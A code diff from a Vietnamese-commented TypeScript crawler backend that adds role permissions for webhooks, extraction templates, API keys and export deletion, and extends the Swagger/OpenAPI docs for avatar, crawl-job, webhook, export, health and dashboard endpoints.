AUDIT_LOGS_READ: "audit_logs.read",
......@@ -305,6 +325,124 @@ export const SYSTEM_PERMISSIONS_CATALOG: PermissionDefinition[] = [
action: "download",
isSystem: true,
},
{
name: "Delete Export",
slug: PERMISSIONS.EXPORTS_DELETE,
description: "Xóa tệp trích xuất dữ liệu",
resource: "exports",
action: "delete",
isSystem: true,
},
// Webhooks
{
name: "View Webhooks",
slug: PERMISSIONS.WEBHOOKS_READ,
description: "Xem cấu hình và nhật ký gửi webhook",
resource: "webhooks",
action: "read",
isSystem: true,
},
{
name: "Create Webhook",
slug: PERMISSIONS.WEBHOOKS_CREATE,
description: "Tạo cấu hình webhook mới",
resource: "webhooks",
action: "create",
isSystem: true,
},
{
name: "Update Webhook",
slug: PERMISSIONS.WEBHOOKS_UPDATE,
description: "Cập nhật cấu hình webhook hoặc gửi lại",
resource: "webhooks",
action: "update",
isSystem: true,
},
{
name: "Delete Webhook",
slug: PERMISSIONS.WEBHOOKS_DELETE,
description: "Xóa cấu hình webhook",
resource: "webhooks",
action: "delete",
isSystem: true,
},
{
name: "Test Webhook",
slug: PERMISSIONS.WEBHOOKS_TEST,
description: "Gửi kiểm thử ping webhook",
resource: "webhooks",
action: "test",
isSystem: true,
},
// Extraction Templates
{
name: "View Extraction Templates",
slug: PERMISSIONS.EXTRACTION_TEMPLATES_READ,
description: "Xem mẫu bóc tách dữ liệu",
resource: "extraction_templates",
action: "read",
isSystem: true,
},
{
name: "Create Extraction Template",
slug: PERMISSIONS.EXTRACTION_TEMPLATES_CREATE,
description: "Tạo mẫu bóc tách dữ liệu mới",
resource: "extraction_templates",
action: "create",
isSystem: true,
},
{
name: "Update Extraction Template",
slug: PERMISSIONS.EXTRACTION_TEMPLATES_UPDATE,
description: "Cập nhật mẫu bóc tách dữ liệu",
resource: "extraction_templates",
action: "update",
isSystem: true,
},
{
name: "Delete Extraction Template",
slug: PERMISSIONS.EXTRACTION_TEMPLATES_DELETE,
description: "Xóa mẫu bóc tách dữ liệu",
resource: "extraction_templates",
action: "delete",
isSystem: true,
},
// API Keys
{
name: "View API Keys",
slug: PERMISSIONS.API_KEYS_READ,
description: "Xem danh sách khóa API",
resource: "api_keys",
action: "read",
isSystem: true,
},
{
name: "Create API Key",
slug: PERMISSIONS.API_KEYS_CREATE,
description: "Tạo khóa API mới",
resource: "api_keys",
action: "create",
isSystem: true,
},
{
name: "Update API Key",
slug: PERMISSIONS.API_KEYS_UPDATE,
description: "Kích hoạt hoặc vô hiệu hóa khóa API",
resource: "api_keys",
action: "update",
isSystem: true,
},
{
name: "Delete API Key",
slug: PERMISSIONS.API_KEYS_DELETE,
description: "Thu hồi và xóa khóa API",
resource: "api_keys",
action: "delete",
isSystem: true,
},
// Audit Logs
{
......@@ -370,6 +508,20 @@ export const SYSTEM_ROLE_DEFAULT_PERMISSIONS: Record<
PERMISSIONS.EXPORTS_READ_ALL,
PERMISSIONS.EXPORTS_CREATE,
PERMISSIONS.EXPORTS_DOWNLOAD,
PERMISSIONS.EXPORTS_DELETE,
PERMISSIONS.WEBHOOKS_READ,
PERMISSIONS.WEBHOOKS_CREATE,
PERMISSIONS.WEBHOOKS_UPDATE,
PERMISSIONS.WEBHOOKS_DELETE,
PERMISSIONS.WEBHOOKS_TEST,
PERMISSIONS.EXTRACTION_TEMPLATES_READ,
PERMISSIONS.EXTRACTION_TEMPLATES_CREATE,
PERMISSIONS.EXTRACTION_TEMPLATES_UPDATE,
PERMISSIONS.EXTRACTION_TEMPLATES_DELETE,
PERMISSIONS.API_KEYS_READ,
PERMISSIONS.API_KEYS_CREATE,
PERMISSIONS.API_KEYS_UPDATE,
PERMISSIONS.API_KEYS_DELETE,
PERMISSIONS.AUDIT_LOGS_READ,
PERMISSIONS.DASHBOARD_READ,
PERMISSIONS.DASHBOARD_READ_ALL,
......@@ -379,6 +531,7 @@ export const SYSTEM_ROLE_DEFAULT_PERMISSIONS: Record<
PERMISSIONS.CRAWL_JOBS_READ,
PERMISSIONS.CRAWL_JOBS_CANCEL,
PERMISSIONS.CRAWL_JOBS_RETRY,
PERMISSIONS.CRAWL_JOBS_DELETE,
PERMISSIONS.CRAWL_SCHEDULES_CREATE,
PERMISSIONS.CRAWL_SCHEDULES_READ,
PERMISSIONS.CRAWL_SCHEDULES_UPDATE,
......@@ -387,12 +540,30 @@ export const SYSTEM_ROLE_DEFAULT_PERMISSIONS: Record<
PERMISSIONS.EXPORTS_READ,
PERMISSIONS.EXPORTS_CREATE,
PERMISSIONS.EXPORTS_DOWNLOAD,
PERMISSIONS.EXPORTS_DELETE,
PERMISSIONS.DASHBOARD_READ,
PERMISSIONS.WEBHOOKS_READ,
PERMISSIONS.WEBHOOKS_CREATE,
PERMISSIONS.WEBHOOKS_UPDATE,
PERMISSIONS.WEBHOOKS_DELETE,
PERMISSIONS.WEBHOOKS_TEST,
PERMISSIONS.EXTRACTION_TEMPLATES_READ,
PERMISSIONS.EXTRACTION_TEMPLATES_CREATE,
PERMISSIONS.EXTRACTION_TEMPLATES_UPDATE,
PERMISSIONS.EXTRACTION_TEMPLATES_DELETE,
PERMISSIONS.API_KEYS_READ,
PERMISSIONS.API_KEYS_CREATE,
PERMISSIONS.API_KEYS_UPDATE,
PERMISSIONS.API_KEYS_DELETE,
],
[SYSTEM_ROLE_SLUGS.VIEWER]: [
PERMISSIONS.CRAWL_JOBS_READ,
PERMISSIONS.CRAWL_SCHEDULES_READ,
PERMISSIONS.EXPORTS_READ,
PERMISSIONS.EXPORTS_DOWNLOAD,
PERMISSIONS.DASHBOARD_READ,
PERMISSIONS.WEBHOOKS_READ,
PERMISSIONS.EXTRACTION_TEMPLATES_READ,
PERMISSIONS.API_KEYS_READ,
],
};
......@@ -31,6 +31,7 @@ export const ERROR_CODE = {
PRIVILEGE_ESCALATION_DENIED: "PRIVILEGE_ESCALATION_DENIED",
SYSTEM_ROLE_PROTECTED: "SYSTEM_ROLE_PROTECTED",
CANNOT_REMOVE_LAST_SUPER_ADMIN: "CANNOT_REMOVE_LAST_SUPER_ADMIN",
RATE_LIMIT_EXCEEDED: "RATE_LIMIT_EXCEEDED",
} as const;
export type ErrorCode = keyof typeof ERROR_CODE;
......@@ -14,6 +14,8 @@ import {
DATA_QUALITY_MIN_SCORE,
DATA_CONTRACT_HASH_ALGORITHM,
} from "../constants/data-contract.constant";
import { ASSET_TYPE } from "../constants/asset-type.constant";
import { CRAWL_PAGE_STATUS } from "../constants/crawl-page-status.constant";
/**
* Normalize một URL để phục vụ deduplicate và so sánh.
......@@ -321,7 +323,7 @@ export function transformImages(assets: CrawlAsset[]): ImageRecord[] {
const seenUrls = new Set<string>();
return assets
.filter((a) => {
if (a.assetType !== "IMAGE") return false;
if (a.assetType !== ASSET_TYPE.IMAGE) return false;
if (seenUrls.has(a.url)) return false;
seenUrls.add(a.url);
return true;
......@@ -366,7 +368,7 @@ export function transformPageToRecord(
const { page, assets, tables = [], jobDomain, seenContentHashes } = options;
const normalizedUrl = page.normalizedUrl || normalizeUrl(page.url);
const isSuccess = page.status === "SUCCESS";
const isSuccess = page.status === CRAWL_PAGE_STATUS.SUCCESS;
// Clean text từ markdownContent
const rawMarkdown = page.markdownContent ?? null;
......
......@@ -166,6 +166,117 @@ export const swaggerPaths: Record<string, any> = {
401: { description: "Chưa xác thực" },
},
},
patch: {
tags: ["Auth"],
summary: "Cập nhật một phần thông tin cá nhân",
description: "Cập nhật họ tên của người dùng hiện tại.",
requestBody: {
required: true,
content: {
"application/json": {
schema: { $ref: "#/components/schemas/UpdateMeRequest" },
},
},
},
responses: {
200: {
description: "Cập nhật thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/User" },
},
},
},
},
},
400: { description: "Dữ liệu yêu cầu không hợp lệ" },
401: { description: "Chưa xác thực" },
},
},
},
"/auth/avatar": {
post: {
tags: ["Auth"],
summary: "Tải lên ảnh đại diện (Avatar)",
description:
"Tải lên tệp ảnh đại diện cho người dùng hiện tại (JPG, PNG, WEBP, GIF, tối đa 2MB).",
requestBody: {
required: true,
content: {
"multipart/form-data": {
schema: {
type: "object",
required: ["avatar"],
properties: {
avatar: {
type: "string",
format: "binary",
description: "Tệp ảnh avatar tải lên",
},
},
},
},
},
},
responses: {
200: {
description: "Tải lên ảnh đại diện thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: {
type: "object",
properties: {
avatarUrl: {
type: "string",
example: "/api/v1/auth/avatar/avatar_123.jpg",
},
},
},
},
},
},
},
},
400: { description: "Tệp không hợp lệ hoặc vượt kích thước" },
401: { description: "Chưa xác thực" },
},
},
},
"/auth/avatar/{fileName}": {
get: {
tags: ["Auth"],
summary: "Tải hoặc hiển thị ảnh đại diện",
description: "Xem và tải tệp ảnh đại diện của người dùng.",
parameters: [
{
name: "fileName",
in: "path",
required: true,
schema: { type: "string" },
description: "Tên tệp ảnh đại diện",
},
],
responses: {
200: {
description: "Tệp ảnh dạng binary",
content: {
"image/jpeg": { schema: { type: "string", format: "binary" } },
"image/png": { schema: { type: "string", format: "binary" } },
"image/webp": { schema: { type: "string", format: "binary" } },
"image/gif": { schema: { type: "string", format: "binary" } },
},
},
404: { description: "Không tìm thấy tệp ảnh đại diện" },
},
},
},
"/auth/me/usage": {
get: {
......@@ -892,6 +1003,44 @@ export const swaggerPaths: Record<string, any> = {
},
},
},
delete: {
tags: ["Crawl Jobs"],
summary: "Xóa crawl job",
description:
"Xóa hoàn toàn crawl job cùng toàn bộ dữ liệu trang, assets và export liên quan.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của crawl job",
},
],
responses: {
200: {
description: "Xóa crawl job thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
message: {
type: "string",
example: "Crawl job deleted successfully",
},
},
},
},
},
},
400: { description: "Không thể xóa job đang chạy" },
401: { description: "Chưa xác thực" },
403: { description: "Không có quyền CRAWL_JOBS_DELETE" },
404: { description: "Không tìm thấy crawl job" },
},
},
},
"/crawl-jobs/{id}/cancel": {
post: {
......@@ -927,6 +1076,135 @@ export const swaggerPaths: Record<string, any> = {
},
},
},
"/crawl-jobs/{id}/rerun": {
post: {
tags: ["Crawl Jobs"],
summary: "Chạy lại crawl job với cấu hình ban đầu",
description:
"Khởi tạo một job mới kế thừa toàn bộ startUrl, mode, maxPages và maxDepth từ job trước đó.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của crawl job cần chạy lại",
},
],
responses: {
201: {
description: "Khởi tạo job chạy lại thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/CrawlJob" },
},
},
},
},
},
401: { description: "Chưa xác thực" },
403: { description: "Không có quyền CRAWL_JOBS_RETRY" },
404: { description: "Không tìm thấy crawl job" },
},
},
},
"/crawl-jobs/{id}/logs": {
get: {
tags: ["Crawl Jobs"],
summary: "Xem nhật ký (logs) chi tiết của crawl job",
description:
"Lấy danh sách các bản ghi log tiến trình thực thi từ worker theo từng bước.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của crawl job",
},
{
name: "page",
in: "query",
schema: { type: "integer", default: 1 },
description: "Số trang",
},
{
name: "limit",
in: "query",
schema: { type: "integer", default: 50 },
description: "Số bản ghi mỗi trang (tối đa 100)",
},
],
responses: {
200: {
description: "Lấy nhật ký thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: {
type: "object",
properties: {
items: {
type: "array",
items: { $ref: "#/components/schemas/CrawlJobLog" },
},
meta: {
type: "object",
properties: {
total: { type: "integer" },
page: { type: "integer" },
limit: { type: "integer" },
totalPages: { type: "integer" },
},
},
},
},
},
},
},
},
},
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy crawl job" },
},
},
},
"/crawl-jobs/{id}/events": {
get: {
tags: ["Crawl Jobs"],
summary: "Server-Sent Events (SSE) theo dõi tiến độ Job thời gian thực",
description:
"Mở luồng SSE nhận dữ liệu tiến độ crawl định kỳ (mỗi 3 giây) cho đến khi job hoàn tất.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của crawl job",
},
],
responses: {
200: {
description: "Luồng sự kiện SSE (text/event-stream)",
content: {
"text/event-stream": {
schema: { type: "string" },
},
},
},
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy crawl job" },
},
},
},
"/crawl-jobs/{id}/pages": {
get: {
tags: ["Crawl Jobs"],
......@@ -1923,31 +2201,115 @@ export const swaggerPaths: Record<string, any> = {
404: { description: "Không tìm thấy cấu hình Webhook" },
},
},
},
"/webhooks/deliveries": {
get: {
patch: {
tags: ["Webhooks"],
summary: "Xem lịch sử gửi Webhook",
summary: "Cập nhật cấu hình Webhook",
description:
"Xem toàn bộ lịch sử gửi webhook (delivery logs) bao gồm các nỗ lực gửi, trạng thái, mã phản hồi và lỗi nếu có.",
"Cập nhật endpoint URL, signing secret, danh sách sự kiện đăng ký hoặc bật/tắt Webhook.",
parameters: [
{
name: "jobId",
in: "query",
schema: { type: "string" },
description: "Lọc theo ID của crawl job",
},
{
name: "status",
in: "query",
schema: { type: "string" },
description:
"Lọc theo trạng thái giao nhận (PENDING, SUCCESS, FAILED)",
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID cấu hình Webhook",
},
],
responses: {
200: {
description: "Lấy lịch sử thành công",
requestBody: {
required: true,
content: {
"application/json": {
schema: { $ref: "#/components/schemas/UpdateWebhookConfigRequest" },
},
},
},
responses: {
200: {
description: "Cập nhật cấu hình thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/WebhookConfig" },
},
},
},
},
},
400: { description: "Dữ liệu yêu cầu không hợp lệ" },
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy cấu hình Webhook" },
},
},
},
"/webhooks/configs/{id}/test": {
post: {
tags: ["Webhooks"],
summary: "Kiểm tra kết nối Webhook (Ping Test)",
description:
"Gửi một payload mẫu có kèm HMAC signature tới Webhook URL để kiểm tra khả năng tiếp nhận.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID cấu hình Webhook",
},
],
responses: {
200: {
description: "Kiểm tra Webhook hoàn tất",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: {
type: "object",
properties: {
statusCode: { type: "integer", example: 200 },
responseBody: { type: "string", example: "ok" },
success: { type: "boolean", example: true },
},
},
},
},
},
},
},
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy cấu hình Webhook" },
},
},
},
"/webhooks/deliveries": {
get: {
tags: ["Webhooks"],
summary: "Xem lịch sử gửi Webhook",
description:
"Xem toàn bộ lịch sử gửi webhook (delivery logs) bao gồm các nỗ lực gửi, trạng thái, mã phản hồi và lỗi nếu có.",
parameters: [
{
name: "jobId",
in: "query",
schema: { type: "string" },
description: "Lọc theo ID của crawl job",
},
{
name: "status",
in: "query",
schema: { type: "string" },
description:
"Lọc theo trạng thái giao nhận (PENDING, SUCCESS, FAILED)",
},
],
responses: {
200: {
description: "Lấy lịch sử thành công",
content: {
"application/json": {
schema: {
......@@ -1967,6 +2329,45 @@ export const swaggerPaths: Record<string, any> = {
},
},
},
"/webhooks/deliveries/{id}/redeliver": {
post: {
tags: ["Webhooks"],
summary: "Gửi lại (Redeliver) Webhook thất bại",
description:
"Đưa thông báo webhook vào hàng đợi BullMQ để tiến hành gửi lại tới server đích.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của bản ghi webhook delivery",
},
],
responses: {
200: {
description: "Đã đưa vào hàng đợi gửi lại",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
message: {
type: "string",
example: "Webhook redelivery enqueued successfully",
},
data: { $ref: "#/components/schemas/WebhookDelivery" },
},
},
},
},
},
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy bản ghi webhook delivery" },
},
},
},
"/crawl-jobs/{id}/diff": {
get: {
tags: ["Crawl Jobs"],
......@@ -2648,4 +3049,398 @@ export const swaggerPaths: Record<string, any> = {
},
},
},
"/exports": {
get: {
tags: ["Exports"],
summary: "Danh sách tất cả các bản xuất dữ liệu",
description:
"Lấy danh sách các tệp xuất dữ liệu crawl của người dùng có phân trang.",
parameters: [
{
name: "page",
in: "query",
schema: { type: "integer", default: 1 },
description: "Số trang",
},
{
name: "limit",
in: "query",
schema: { type: "integer", default: 20 },
description: "Số bản ghi mỗi trang (tối đa 100)",
},
],
responses: {
200: {
description: "Lấy danh sách bản xuất thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: {
type: "object",
properties: {
items: {
type: "array",
items: { $ref: "#/components/schemas/CrawlExport" },
},
meta: {
type: "object",
properties: {
total: { type: "integer" },
page: { type: "integer" },
limit: { type: "integer" },
totalPages: { type: "integer" },
},
},
},
},
},
},
},
},
},
401: { description: "Chưa xác thực" },
},
},
},
"/exports/{exportId}": {
delete: {
tags: ["Exports"],
summary: "Xóa bản xuất dữ liệu",
description:
"Xóa bản ghi xuất dữ liệu và tệp lưu trữ vật lý tương ứng trên ổ cứng hoặc S3.",
parameters: [
{
name: "exportId",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của bản xuất dữ liệu",
},
],
responses: {
200: {
description: "Xóa bản xuất dữ liệu thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
message: {
type: "string",
example: "Export deleted successfully",
},
},
},
},
},
},
401: { description: "Chưa xác thực" },
403: { description: "Không có quyền EXPORTS_DELETE" },
404: { description: "Không tìm thấy bản xuất dữ liệu" },
},
},
},
"/extraction-templates": {
post: {
tags: ["Extraction Templates"],
summary: "Tạo template trích xuất dữ liệu có cấu trúc",
description:
"Định nghĩa bộ selector CSS và thuộc tính trích xuất nội dung cho một tên miền web cụ thể.",
requestBody: {
required: true,
content: {
"application/json": {
schema: {
$ref: "#/components/schemas/CreateExtractionTemplateRequest",
},
},
},
},
responses: {
201: {
description: "Tạo template thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/ExtractionTemplate" },
},
},
},
},
},
400: {
description:
"Dữ liệu yêu cầu không hợp lệ hoặc đã tồn tại template cho domain này",
},
401: { description: "Chưa xác thực" },
},
},
get: {
tags: ["Extraction Templates"],
summary: "Danh sách template trích xuất dữ liệu",
description:
"Lấy toàn bộ danh sách các template trích xuất do người dùng hiện tại tạo.",
responses: {
200: {
description: "Lấy danh sách template thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: {
type: "array",
items: { $ref: "#/components/schemas/ExtractionTemplate" },
},
},
},
},
},
},
401: { description: "Chưa xác thực" },
},
},
},
"/extraction-templates/{id}": {
get: {
tags: ["Extraction Templates"],
summary: "Chi tiết template trích xuất",
description:
"Xem chi tiết thông tin và danh sách selectors của template.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của template",
},
],
responses: {
200: {
description: "Lấy chi tiết template thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/ExtractionTemplate" },
},
},
},
},
},
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy template" },
},
},
patch: {
tags: ["Extraction Templates"],
summary: "Cập nhật template trích xuất",
description:
"Cập nhật tên hoặc danh sách trường trích xuất của template.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của template",
},
],
requestBody: {
required: true,
content: {
"application/json": {
schema: {
$ref: "#/components/schemas/UpdateExtractionTemplateRequest",
},
},
},
},
responses: {
200: {
description: "Cập nhật template thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/ExtractionTemplate" },
},
},
},
},
},
400: { description: "Dữ liệu yêu cầu không hợp lệ" },
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy template" },
},
},
delete: {
tags: ["Extraction Templates"],
summary: "Xóa template trích xuất",
description: "Xóa cấu hình template trích xuất khỏi hệ thống.",
parameters: [
{
name: "id",
in: "path",
required: true,
schema: { type: "string", format: "uuid" },
description: "ID của template",
},
],
responses: {
200: {
description: "Xóa template thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { type: "null" },
},
},
},
},
},
401: { description: "Chưa xác thực" },
404: { description: "Không tìm thấy template" },
},
},
},
"/health/liveness": {
get: {
tags: ["Health"],
summary: "Kiểm tra liveness của service",
description:
"Endpoint kiểm tra xem ứng dụng còn phản hồi hay không (dành cho Kubernetes / Docker health check).",
responses: {
200: {
description: "Ứng dụng hoạt động bình thường",
content: {
"application/json": {
schema: {
type: "object",
properties: {
status: { type: "string", example: "ok" },
uptimeSeconds: { type: "integer", example: 3600 },
timestamp: { type: "string", format: "date-time" },
nodeVersion: { type: "string", example: "v22.14.0" },
},
},
},
},
},
},
},
},
"/health/readiness": {
get: {
tags: ["Health"],
summary: "Kiểm tra readiness của service (PostgreSQL & Redis)",
description:
"Endpoint kiểm tra kết nối tới cơ sở dữ liệu PostgreSQL và hàng đợi Redis.",
responses: {
200: {
description: "Hệ thống sẵn sàng tiếp nhận request",
content: {
"application/json": {
schema: {
type: "object",
properties: {
status: { type: "string", example: "ready" },
checks: {
type: "object",
properties: {
database: {
type: "object",
properties: {
status: { type: "string", example: "up" },
latencyMs: { type: "integer", example: 5 },
},
},
redis: {
type: "object",
properties: {
status: { type: "string", example: "up" },
latencyMs: { type: "integer", example: 2 },
},
},
},
},
timestamp: { type: "string", format: "date-time" },
},
},
},
},
},
503: {
description: "Hệ thống chưa sẵn sàng, dịch vụ phụ trợ gặp lỗi",
},
},
},
},
"/health/metrics": {
get: {
tags: ["Health"],
summary: "Xem thông số metrics hệ thống và hàng đợi",
description:
"Trả về thông tin chi tiết về bộ nhớ RAM tiến trình, thời gian uptime và trạng thái các hàng đợi BullMQ.",
responses: {
200: {
description: "Lấy metrics thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
memory: { type: "object" },
uptime: { type: "number" },
queues: { type: "object" },
},
},
},
},
},
},
},
},
"/dashboard/stats": {
get: {
tags: ["Dashboard"],
summary: "Thống kê tổng quan hệ thống Crawler",
description:
"Thống kê tổng hợp số lượng crawl jobs theo trạng thái, số trang đã crawl, số lịch crawl đang chạy và tổng số tệp export.",
responses: {
200: {
description: "Lấy thống kê thành công",
content: {
"application/json": {
schema: {
type: "object",
properties: {
success: { type: "boolean", example: true },
data: { $ref: "#/components/schemas/DashboardStats" },
},
},
},
},
},
401: { description: "Chưa xác thực" },
403: { description: "Không có quyền DASHBOARD_READ" },
},
},
},
};
......@@ -14,33 +14,133 @@
"paths": {
"/health/liveness": {
"get": {
"description": "",
"description": "Endpoint kiểm tra xem ứng dụng còn phản hồi hay không (dành cho Kubernetes / Docker health check).",
"responses": {
"default": {
"description": ""
"200": {
"description": "Ứng dụng hoạt động bình thường",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"status": {
"type": "string",
"example": "ok"
},
"uptimeSeconds": {
"type": "integer",
"example": 3600
},
"timestamp": {
"type": "string",
"format": "date-time"
},
"nodeVersion": {
"type": "string",
"example": "v22.14.0"
}
}
}
}
}
}
},
"tags": ["Health"],
"summary": "Kiểm tra liveness của service"
}
},
"/health/readiness": {
"get": {
"description": "",
"description": "Endpoint kiểm tra kết nối tới cơ sở dữ liệu PostgreSQL và hàng đợi Redis.",
"responses": {
"default": {
"description": ""
"200": {
"description": "Hệ thống sẵn sàng tiếp nhận request",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"status": {
"type": "string",
"example": "ready"
},
"checks": {
"type": "object",
"properties": {
"database": {
"type": "object",
"properties": {
"status": {
"type": "string",
"example": "up"
},
"latencyMs": {
"type": "integer",
"example": 5
}
}
},
"redis": {
"type": "object",
"properties": {
"status": {
"type": "string",
"example": "up"
},
"latencyMs": {
"type": "integer",
"example": 2
}
}
}
}
},
"timestamp": {
"type": "string",
"format": "date-time"
}
}
}
}
}
},
"503": {
"description": "Hệ thống chưa sẵn sàng, dịch vụ phụ trợ gặp lỗi"
}
},
"tags": ["Health"],
"summary": "Kiểm tra readiness của service (PostgreSQL & Redis)"
}
},
"/health/metrics": {
"get": {
"description": "",
"description": "Trả về thông tin chi tiết về bộ nhớ RAM tiến trình, thời gian uptime và trạng thái các hàng đợi BullMQ.",
"responses": {
"default": {
"description": ""
"200": {
"description": "Lấy metrics thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"memory": {
"type": "object"
},
"uptime": {
"type": "number"
},
"queues": {
"type": "object"
}
}
}
}
}
}
},
"tags": ["Health"],
"summary": "Xem thông số metrics hệ thống và hàng đợi"
}
},
"/auth/login": {
"post": {
......@@ -83,9 +183,7 @@
"description": "Email hoặc mật khẩu không chính xác"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Đăng nhập người dùng",
"requestBody": {
"required": true,
......@@ -141,9 +239,7 @@
}
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Làm mới Access Token"
}
},
......@@ -182,9 +278,7 @@
}
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Đăng xuất"
}
},
......@@ -215,9 +309,7 @@
"description": "Chưa xác thực hoặc token không hợp lệ"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Lấy thông tin người dùng hiện tại"
},
"put": {
......@@ -249,9 +341,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Cập nhật thông tin cá nhân",
"requestBody": {
"required": true,
......@@ -265,10 +355,44 @@
}
},
"patch": {
"description": "",
"description": "Cập nhật họ tên của người dùng hiện tại.",
"responses": {
"default": {
"description": ""
"200": {
"description": "Cập nhật thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/User"
}
}
}
}
}
},
"400": {
"description": "Dữ liệu yêu cầu không hợp lệ"
},
"401": {
"description": "Chưa xác thực"
}
},
"tags": ["Auth"],
"summary": "Cập nhật một phần thông tin cá nhân",
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UpdateMeRequest"
}
}
}
}
}
......@@ -348,25 +472,71 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Xem hạn mức và mức độ sử dụng Quota hiện tại"
}
},
"/auth/avatar": {
"post": {
"description": "",
"description": "Tải lên tệp ảnh đại diện cho người dùng hiện tại (JPG, PNG, WEBP, GIF, tối đa 2MB).",
"responses": {
"default": {
"description": ""
"200": {
"description": "Tải lên ảnh đại diện thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"type": "object",
"properties": {
"avatarUrl": {
"type": "string",
"example": "/api/v1/auth/avatar/avatar_123.jpg"
}
}
}
}
}
}
}
},
"400": {
"description": "Tệp không hợp lệ hoặc vượt kích thước"
},
"401": {
"description": "Chưa xác thực"
}
},
"tags": ["Auth"],
"summary": "Tải lên ảnh đại diện (Avatar)",
"requestBody": {
"required": true,
"content": {
"multipart/form-data": {
"schema": {
"type": "object",
"required": ["avatar"],
"properties": {
"avatar": {
"type": "string",
"format": "binary",
"description": "Tệp ảnh avatar tải lên"
}
}
}
}
}
}
}
},
"/auth/avatar/{fileName}": {
"get": {
"description": "",
"description": "Xem và tải tệp ảnh đại diện của người dùng.",
"parameters": [
{
"name": "fileName",
......@@ -374,14 +544,46 @@
"required": true,
"schema": {
"type": "string"
}
},
"description": "Tên tệp ảnh đại diện"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Tệp ảnh dạng binary",
"content": {
"image/jpeg": {
"schema": {
"type": "string",
"format": "binary"
}
},
"image/png": {
"schema": {
"type": "string",
"format": "binary"
}
},
"image/webp": {
"schema": {
"type": "string",
"format": "binary"
}
},
"image/gif": {
"schema": {
"type": "string",
"format": "binary"
}
}
}
},
"404": {
"description": "Không tìm thấy tệp ảnh đại diện"
}
},
"tags": ["Auth"],
"summary": "Tải hoặc hiển thị ảnh đại diện"
}
},
"/auth/change-password": {
......@@ -415,9 +617,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Đổi mật khẩu tài khoản",
"requestBody": {
"required": true,
......@@ -458,9 +658,7 @@
"description": "Email đã được sử dụng hoặc dữ liệu không hợp lệ"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Đăng ký tài khoản mới",
"requestBody": {
"required": true,
......@@ -502,9 +700,7 @@
"description": "Email không hợp lệ"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Yêu cầu đặt lại mật khẩu",
"requestBody": {
"required": true,
......@@ -512,9 +708,7 @@
"application/json": {
"schema": {
"type": "object",
"required": [
"email"
],
"required": ["email"],
"properties": {
"email": {
"type": "string",
......@@ -556,9 +750,7 @@
"description": "Token không hợp lệ, đã hết hạn hoặc mật khẩu không đúng định dạng"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
